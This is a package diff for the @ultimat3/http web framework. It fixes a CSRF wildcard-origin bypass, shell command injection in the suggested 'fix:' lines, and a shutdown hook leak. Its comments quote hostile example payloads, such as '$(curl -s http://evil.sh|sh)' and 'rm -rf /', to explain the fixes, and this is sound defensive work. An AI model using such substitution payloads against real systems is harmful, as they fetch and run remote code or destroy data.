@ultimat3/http 19.2.0 → 19.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CLAUDE.md CHANGED
@@ -132,6 +132,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
132
132
  trace was discarded, the root span carried a dashed UUIDv7 no collector accepts as a trace id,
133
133
  and the log lines beside it quoted a third value. The `request-id` and `trace` stages now only
134
134
  PUBLISH what was decided — they do not decide. The regex is core's `parseTraceparent`, one copy.
135
+ **Only ONE of the two is gated on `trustProxy`, and the asymmetry is deliberate** — `x-request-id`
136
+ is ECHOED back as this response's identity, so a caller choosing it poisons log correlation for
137
+ everyone; `traceparent` is W3C context continuation, which any caller is expected to send.
138
+ `traceHeaders()` (tier 0) puts it on every typed-client call, so gating it would break tracing
139
+ between two Ultimate services under the default `trustProxy` (false), for a value that carries
140
+ correlation and no authority. Never "fix" the inconsistency by gating it.
135
141
  - **Every proxy-supplied header goes through `forwardedElement(header, hops)` and nothing else.**
136
142
  `trustProxy` documented reading `x-forwarded-for` and had no reader at all, so behind any ingress
137
143
  every anonymous request keyed to the proxy — one `auth` bucket (capacity 10) for the whole
@@ -140,6 +146,7 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
140
146
  declared trusts nothing rather than falling back leftward. `trustProxy` defaults to **false** and
141
147
  requires `trustedProxyHops` (`X_TRUST_PROXY_UNSET` at `defineHttpConfig`) — it also gates the
142
148
  `x-request-id` echo, and a direct caller choosing its own request id poisons log correlation.
149
+ The inbound `traceparent` is deliberately NOT on this list; `correlation.ts` above says why.
143
150
  `x-forwarded-proto` rides the same rule, which is what finally emits HSTS behind a
144
151
  TLS-terminating ingress, and so does Envoy's `x-forwarded-client-cert` (`peer-identity.ts`).
145
152
  **A peer certificate read from an untrusted hop is worse than none, because it authenticates** —
@@ -183,7 +190,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
183
190
  because only an AMBIENT credential can be forged into (anonymous and bearer callers are exempt);
184
191
  before body so a rejected write never allocates its payload. `sec-fetch-site: same-origin`, an
185
192
  `Origin` equal to this app, or an `Origin` already in `cors.origins`; anything else is
186
- `X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem). The self
193
+ `X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem). "Already in
194
+ `cors.origins`" means an EXACT listing — `originListed`, never `allowedOrigin`, `As of
195
+ 2026-09-06`. That one answers the RESPONSE header, and for `origins: ['*'], credentials: false`
196
+ (the only wildcard `assertCorsConfig` admits) its answer is `'*'`, which is not `null` and so
197
+ read as "this origin is one we allow": every origin on the internet was same-origin, and the
198
+ cross-site form post this stage exists to refuse was answered `{"ok":true}`. The self
187
199
  origin is built from `ctx.https`, not `url.protocol`, or every legitimate post behind a
188
200
  TLS-terminating ingress would be refused. **`mode: 'token'` is deliberately NOT shipped** — a
189
201
  double-submit token needs a cookie issuer and a form-field helper at tier 4/5, and a half-built
@@ -410,6 +422,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
410
422
  `APP_ERROR_STATUS` is process-global runtime state filled by the app's own imports, while both
411
423
  named surfaces are build artefacts derived from source, so in a CLI process it answers `{}`.
412
424
  Wiring one means deriving it from source, not re-exporting the map.
425
+ - **A handler's own `Response.status` is never rewritten.** `error-map.ts` answers the status of a
426
+ THROW; a status a handler chose — `html(page, { status: 404 })`, which is what a page route's
427
+ `withStatus(404, data)` in `@ultimat3/render` becomes — passes through every stage as written,
428
+ body included, in dev and in production. `pipeline-handler-status.test.ts` pins it, because the
429
+ render seam is only true while this is: ai-maxxing's `/fleet/nope` answered 200 for as long as
430
+ the only way to a 404 was the error page, outside the app's shell.
413
431
  - **The context carries the inbound headers, never the `Request`.** `ctx.requestHeaders` is set
414
432
  once at construction; `useRequestHeader` / `useRequestCookie` are what app code reads, and
415
433
  `UltimateRequest.cookie()` is what `hooks.authenticate` reads. A `Request` on the context is a
@@ -587,6 +605,34 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
587
605
  `drain()` and `healthzPayload()`/`readyzPayload()`. Never keep a private `state` or
588
606
  in-flight counter — core waits on work it does not know about, so a private counter
589
607
  hangs every deploy at the `inflight` phase.
608
+ - **`stop()` hands its two hooks back ABOVE its early return** (`As of 2026-09`). The `close` hook
609
+ sets `server = undefined`, so on the SIGTERM path `if (server === undefined) return` skipped the
610
+ `unregister?.()` pair in the `finally` — for exactly the path production takes. Every later
611
+ `stop()` (a test teardown, `x dev`'s role rollback) left both registrations pointing at a socket
612
+ that was already gone, and `shutdownHookCount()` — the probe `packages/core/CLAUDE.md` names for
613
+ this leak — climbed by two per server per lifecycle. `packages/http/e2e/server.e2e.test.ts` reads
614
+ that probe now; the shape is `@ultimat3/jobs`' worker teardown, where the release is the
615
+ closure's business and never the drain's.
616
+ - **A pathname reaching a `fix:` goes through `renderFixShellArg`** (`As of 2026-09`).
617
+ `routeNotFound`'s fix is `x g route <path>`, a command, and the path is whatever an anonymous
618
+ caller typed: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into the
619
+ line the framework tells its reader to paste. The value still travels in the `cause`, which is
620
+ read rather than run. `renderFixLiteral` does not cover this — its double quotes leave `$(…)`
621
+ live in every POSIX shell.
622
+ **A `code` is gated instead of screened** (`As of 2026-09-06`): `factsOf`'s fallback `fix:` is
623
+ `x errors explain <code> --json`, and `code` is a string field off a throwable this package did
624
+ not build — a worker message, a WebSocket frame, an app's own object — so it goes through core's
625
+ `FRAMEWORK_CODE`, never `startsWith('X_')`. A value that is not a code answers nothing anyway,
626
+ so the honest command is `x errors list --json`. Same gate, same reason, as `@ultimat3/mcp`'s
627
+ `server.ts`; the value still travels in `facts.code`.
628
+ **And a SUPPLIED `fix:` is taken only from a BRANDED framework error** (`As of 2026-09-06`). The
629
+ gate above screens the code this package renders INTO a command; this one screens a whole command
630
+ a throwable handed over. `factsOf` normalises a worker message, a WebSocket frame and any app
631
+ object, so a foreign `fix` is remote text landing in the line an operator is told to paste, and a
632
+ framework code beside it makes the line read as the framework's own — `isUltimateError`, and
633
+ nothing else, is what says the value went through `renderFixShellArg` and this tree's gate. An
634
+ error that crossed a wire and lost its brand falls to the generated line, which is honest. The
635
+ `cause` still travels: a cause is read, never run.
590
636
  - **Borrowed error codes are never titled or registered here.** `X_FORBIDDEN` is policy's,
591
637
  `X_UNAUTHENTICATED` is auth's; both sit in `HTTP_BORROWED_ERROR_CODES`, which carries codes
592
638
  only. `HTTP_ERROR_TITLES` holds owned codes, and `registerErrorCodes` takes it whole and
package/README.md CHANGED
@@ -94,7 +94,7 @@ What the lifecycle refuses on the caller's behalf, `As of 2026-08`:
94
94
  | an injected limiter that does not hold a bucket a route declares | `X_RATE_LIMIT_BUCKET_UNBOUND` at `createPipeline`, because the name would fall through to `default` — measured at 120 burst for a route declaring 5 |
95
95
  | a config that never declared `rateLimit.scope` | `X_RATE_LIMIT_SCOPE_UNSET` at `defineHttpConfig`. **Breaking, `As of 2026-08`**: `'process'` used to be the default, so "nobody asked" and "the app said one replica" were the same value while the chart runs three |
96
96
  | `trustProxy: true` with no `trustedProxyHops` | `X_TRUST_PROXY_UNSET` at `defineHttpConfig`. **Breaking, `As of 2026-08`**: `trustProxy` now defaults to `false`, and `x-forwarded-for` is read at `entries.length - hops` — never at `[0]`, which is whatever the client typed |
97
- | a credentialed unsafe method that cannot be shown to be same-origin | `X_CSRF_BLOCKED` (403). `sec-fetch-site: same-origin`, `Origin` equal to this app, or an `Origin` in `cors.origins` — anything else is refused before the body is read |
97
+ | a credentialed unsafe method that cannot be shown to be same-origin | `X_CSRF_BLOCKED` (403). `sec-fetch-site: same-origin`, `Origin` equal to this app, or an EXACT listing in `cors.origins` — anything else is refused before the body is read. `origins: ['*']` lists nobody here: `'*'` is a value for the response header, not a per-origin allowance |
98
98
  | a request past `requestTimeoutMs` (30s) | `ctx.signal` aborts and the socket is answered `X_TIMEOUT` (504); a caller may shorten the deadline with `x-request-timeout-ms`, never lengthen it |
99
99
  | the caller going away mid-request | `ctx.signal` aborts on the inbound `Request.signal` too, so a closed tab unwinds cooperative work instead of holding its pool slot for the rest of the budget. Both halves are one signal (`AbortSignal.any`), and `requestTimeoutMs: 0` still delivers the caller's |
100
100
  | a request while the process is draining | `X_DRAINING` (503) + `retry-after`, which is what `isDraining()` was always documented to do here and had no reader for |
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ultimat3/http",
3
- "version": "19.2.0",
3
+ "version": "19.3.2",
4
4
  "description": "Owned request lifecycle over Bun.serve: router, ordered pipeline, problem+json errors",
5
5
  "license": "MIT",
6
6
  "type": "module",
@@ -31,9 +31,9 @@
31
31
  "test": "bun test"
32
32
  },
33
33
  "dependencies": {
34
- "@ultimat3/core": "19.2.0",
35
- "@ultimat3/i18n": "19.2.0",
36
- "@ultimat3/schema": "19.2.0",
37
- "@ultimat3/time": "19.2.0"
34
+ "@ultimat3/core": "19.3.2",
35
+ "@ultimat3/i18n": "19.3.2",
36
+ "@ultimat3/schema": "19.3.2",
37
+ "@ultimat3/time": "19.3.2"
38
38
  }
39
39
  }
@@ -34,6 +34,12 @@ export interface InboundCorrelation {
34
34
  export const readCorrelation = (headers: Headers, config: HttpConfig): InboundCorrelation => {
35
35
  const inboundId = config.trustProxy ? headers.get('x-request-id') : null;
36
36
  const requestId = inboundId !== null && REQUEST_ID.test(inboundId) ? inboundId : uuid();
37
+ // Deliberately NOT gated on `trustProxy`, unlike the id above, and the asymmetry is the rule:
38
+ // `x-request-id` is ECHOED back as this response's identity, so an untrusted caller choosing it
39
+ // poisons log correlation for everyone — while `traceparent` is W3C context continuation, which
40
+ // any caller is expected to send. `traceHeaders()` puts it on every typed-client call, so
41
+ // gating it would break tracing across two Ultimate services with the default `trustProxy`
42
+ // (false) for a value that is 32 hex characters of correlation and no authority at all.
37
43
  const parent = parseTraceparent(headers.get('traceparent'));
38
44
  return {
39
45
  requestId,
package/src/cors.ts CHANGED
@@ -37,14 +37,25 @@ export const assertCorsConfig = (config: CorsConfig): void => {
37
37
  };
38
38
 
39
39
  /**
40
- * The one answer to "may this origin talk to us?". Exported for `csrf.ts`, which asks the same
41
- * question about a *request* rather than a response — a second list of allowed origins would be
42
- * a CORS policy and a CSRF policy that quietly disagree.
40
+ * Did the app LIST this exact origin? Off the same array `allowedOrigin` reads, so the two can
41
+ * never disagree about what was declared — but the wildcard is deliberately not an answer here.
42
+ * `'*'` is a value for a RESPONSE header, meaning "any origin may read a public reply"; it says
43
+ * nothing about who may WRITE. `csrf.ts` asked `allowedOrigin(...) !== null` and got `'*'` back
44
+ * for the one legal wildcard form (`credentials: false`), which read as "evil.test is an origin
45
+ * this app allows" and let a cross-site form post through with the session cookie attached.
46
+ */
47
+ export const originListed = (config: CorsConfig, origin: string | null): boolean =>
48
+ origin !== null && config.origins.includes(origin);
49
+
50
+ /**
51
+ * The one answer to "may this origin READ our reply?" — the value of
52
+ * `access-control-allow-origin`, or `null` for no CORS headers at all. Never a proof that a
53
+ * request came from somewhere allowed to make it: that is `originListed`, above.
43
54
  */
44
55
  export const allowedOrigin = (config: CorsConfig, origin: string | null): string | null => {
45
56
  if (origin === null) return null;
46
57
  if (config.origins.includes('*')) return config.credentials ? null : '*';
47
- return config.origins.includes(origin) ? origin : null;
58
+ return originListed(config, origin) ? origin : null;
48
59
  };
49
60
 
50
61
  /**
package/src/csrf.ts CHANGED
@@ -6,7 +6,7 @@
6
6
  // first-class surface here rather than a legacy one.
7
7
 
8
8
  import type { CorsConfig } from './cors';
9
- import { allowedOrigin } from './cors';
9
+ import { originListed } from './cors';
10
10
 
11
11
  export type CsrfMode = 'origin' | 'off';
12
12
 
@@ -61,9 +61,12 @@ export const checkCsrf = (input: CsrfCheckInput): CsrfVerdict => {
61
61
  const site = input.secFetchSite;
62
62
  if (site === 'same-origin' || site === 'none') return { ok: true };
63
63
  if (input.origin === input.selfOrigin) return { ok: true };
64
- if (input.origin !== null && allowedOrigin(input.cors, input.origin) !== null) {
65
- return { ok: true };
66
- }
64
+ // `originListed`, never `allowedOrigin`: that one answers the RESPONSE header, and for
65
+ // `origins: ['*'], credentials: false` — the only wildcard `assertCorsConfig` admits — its
66
+ // answer is `'*'`, which is not null and so read as "this origin is one we allow". A
67
+ // credentialed cross-site POST from evil.test was therefore accepted by the check that exists
68
+ // to refuse exactly it. An exact match is the only allowance a write may be built on.
69
+ if (originListed(input.cors, input.origin)) return { ok: true };
67
70
  // Only the four values a browser can send are quoted back. Anything else is a client that
68
71
  // wrote the header itself, and echoing what it wrote is how a rejected value reaches the log
69
72
  // store and the response body — the same defect the error-map stage's log line had.
@@ -2,7 +2,14 @@
2
2
  // document and the three lines the terminal and the overlay print. Split off `error-map.ts` at the
3
3
  // 500-line ceiling — that file answers "what status is this code", one closed table, and this one
4
4
  // answers "what does a reader see", which is three audiences and one opacity rule.
5
- import { ERROR_DOCS_URL, renderCauseValue, singleLine, stringField } from '@ultimat3/core';
5
+ import {
6
+ ERROR_DOCS_URL,
7
+ FRAMEWORK_CODE,
8
+ isUltimateError,
9
+ renderCauseValue,
10
+ singleLine,
11
+ stringField,
12
+ } from '@ultimat3/core';
6
13
  import type { ValidationIssue } from '@ultimat3/schema';
7
14
  import { declaredStatusFor, statusFor } from './error-map';
8
15
  import { HTTP_ERROR_TITLES } from './errors';
@@ -64,7 +71,23 @@ export const factsOf = (error: unknown): ErrorFacts => {
64
71
  // `x logs tail` is in `PLANNED_COMMANDS` — it exits `X_NOT_IMPLEMENTED`. A fix line naming a
65
72
  // command that throws is axiom 4 inverted: the one instruction the reader is given fails.
66
73
  // `x errors explain` ships, and it is the command that answers "what is this code".
67
- fix: str(error, 'fix') ?? `x errors explain ${code} --json # then fix the throwing call site`,
74
+ // `FRAMEWORK_CODE`, never `startsWith('X_')`: `code` is a string field off a value this
75
+ // package did not build, and this line is a COMMAND a reader pastes — `x errors explain
76
+ // X_$(curl evil.sh|sh) --json` substitutes before `x` is reached. A code that is not one
77
+ // answers nothing anyway, so the listing is the honest command. Same gate, same reason, as
78
+ // `@ultimat3/mcp`'s `server.ts`.
79
+ // BRANDED, never merely "has a `fix` string": `factsOf` normalises a worker message, a
80
+ // WebSocket frame and any app object, so a foreign `fix` is remote text landing in the line an
81
+ // operator is told to paste — `rm -rf / # x errors explain` renders as authoritative as the
82
+ // framework's own. An `UltimateError` built its `fix` in this process, through
83
+ // `renderFixShellArg` and this tree's gate; nothing else has. A framework error that crossed a
84
+ // wire and lost its brand falls to the generated line below, which is honest rather than a
85
+ // command it did not author.
86
+ fix:
87
+ (isUltimateError(error) ? str(error, 'fix') : undefined) ??
88
+ (FRAMEWORK_CODE.test(code)
89
+ ? `x errors explain ${code} --json # then fix the throwing call site`
90
+ : 'x errors list --json # then fix the throwing call site'),
68
91
  // Core's one constant, never a per-code URL: `wiki/` is the only public documentation surface
69
92
  // and a code lives there in a table row, which has no anchor. An `UltimateError` already
70
93
  // resolved this at construction, so the fallback only fires for a throwable the framework did
package/src/error-map.ts CHANGED
@@ -347,6 +347,10 @@ export const ERROR_STATUS = {
347
347
  // document that said "the details are in this process's logs" about an error whose whole
348
348
  // value is the sentence naming the prop and its bytes. Measured on ai-maxxing, 2026-09-05.
349
349
  X_ISLAND_PROPS_INVALID: 500,
350
+ // A loader answered `withStatus` with a 3xx, or a status outside 200–599. Raised INSIDE the
351
+ // request that ran the loader, so it needs a row for the same reason the line above does: an
352
+ // unclassified 500 blanks the sentence naming the status and the `redirect()` to use instead.
353
+ X_ROUTE_STATUS_INVALID: 500,
350
354
  // @ultimat3/mail
351
355
  // The deployment configured no transport. It reaches a caller only through an inline
352
356
  // `send(…, { sync: true })` inside a request; the queued path dead-letters instead. A server-side
@@ -361,6 +365,9 @@ export const ERROR_STATUS = {
361
365
  // MCP host is mounted inside this pipeline — a code that renders 429 on one and 500 on the other
362
366
  // is exactly the split this table exists to prevent.
363
367
  X_MCP_RATE_LIMITED: 429,
368
+ // The second MCP code answered on a request before dispatch, and 413 for the same reason the row
369
+ // above is 429: `transport-http.ts` already answers it with that status by hand.
370
+ X_MCP_BODY_TOO_LARGE: 413,
364
371
  // @ultimat3/core
365
372
  // The caller asked for a format the pipeline cannot produce (`?f=avif`): the request names an
366
373
  // unsupported representation, which is 415 — not a 500, which would blame the server for it.
package/src/errors.ts CHANGED
@@ -4,6 +4,7 @@
4
4
  import {
5
5
  registerErrorCodes,
6
6
  registerErrorRetry,
7
+ renderFixShellArg,
7
8
  renderThrowable,
8
9
  UltimateError,
9
10
  } from '@ultimat3/core';
@@ -152,11 +153,20 @@ export class HttpError extends UltimateError {
152
153
  }
153
154
  }
154
155
 
156
+ /**
157
+ * The pathname is whatever an anonymous caller typed, and `fix:` is a COMMAND POSITION — so it
158
+ * goes through `renderFixShellArg`, which passes an ordinary path through and substitutes a
159
+ * placeholder for anything a shell would read. `renderFixLiteral` is the wrong tool here and
160
+ * cannot be made right: it answers double quotes, in which `$(…)` and backticks are still live.
161
+ * Reproduced: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into a line
162
+ * whose whole purpose is to be pasted into a terminal.
163
+ */
155
164
  export const routeNotFound = (method: string, pathname: string): HttpError =>
156
165
  new HttpError({
157
166
  code: 'X_ROUTE_NOT_FOUND',
167
+ // The value itself still travels, in the field that is read rather than run.
158
168
  cause: `no route registered for ${method} ${pathname}`,
159
- fix: `x routes list --json # then: x g route ${pathname}`,
169
+ fix: `x routes list --json # then: x g route ${renderFixShellArg(pathname, '<the path the cause names>')}`,
160
170
  });
161
171
 
162
172
  export const methodNotAllowed = (
package/src/index.ts CHANGED
@@ -31,7 +31,7 @@ export {
31
31
  export type { InboundCorrelation } from './correlation';
32
32
  export { readCorrelation } from './correlation';
33
33
  export type { CorsConfig } from './cors';
34
- export { allowedOrigin, corsHeaders, DEFAULT_CORS, preflight } from './cors';
34
+ export { allowedOrigin, corsHeaders, DEFAULT_CORS, originListed, preflight } from './cors';
35
35
  export type { CsrfCheckInput, CsrfConfig, CsrfMode, CsrfVerdict } from './csrf';
36
36
  export { checkCsrf, DEFAULT_CSRF, selfOrigin } from './csrf';
37
37
  export type { Deadline } from './deadline';
package/src/server.ts CHANGED
@@ -210,7 +210,26 @@ export const createServer = (options: ServerOptions): ServerHandle => {
210
210
  return handle;
211
211
  },
212
212
  async stop() {
213
- if (server === undefined) return;
213
+ // Handed back FIRST, above every early return: on the SIGTERM path the `close` hook has
214
+ // already set `server = undefined`, so `if (server === undefined) return` skipped the
215
+ // release in the `finally` below for exactly the path production takes — two hooks left
216
+ // registered against a socket that is gone, per server, per lifecycle, which is the leak
217
+ // core's `shutdownHookCount()` exists to make visible. The shape `worker.ts`'s teardown
218
+ // holds: the unregisters are the closure's, not the drain's.
219
+ const releaseHooks = (): void => {
220
+ unregister?.();
221
+ unregisterClose?.();
222
+ unregister = undefined;
223
+ unregisterClose = undefined;
224
+ };
225
+ if (server === undefined) {
226
+ releaseHooks();
227
+ // Idempotent, and this path reaches it too: the close hook released the announcement, or
228
+ // the deadline cut it short and nobody did.
229
+ stopListening?.();
230
+ stopListening = undefined;
231
+ return;
232
+ }
214
233
  try {
215
234
  // Delegate to core so a manual stop() and a real SIGTERM take the identical
216
235
  // three-phase path. The drain deadline is core's, not ours.
@@ -219,8 +238,7 @@ export const createServer = (options: ServerOptions): ServerHandle => {
219
238
  // A throwing drain() must not leave this handle's hooks registered against a server
220
239
  // that is going away — core would still call them, against `server` fields already
221
240
  // torn down below, on the next drain this process runs.
222
- unregister?.();
223
- unregisterClose?.();
241
+ releaseHooks();
224
242
  }
225
243
  // Idempotent: the close hook already released, unless the drain deadline cut it short.
226
244
  stopListening?.();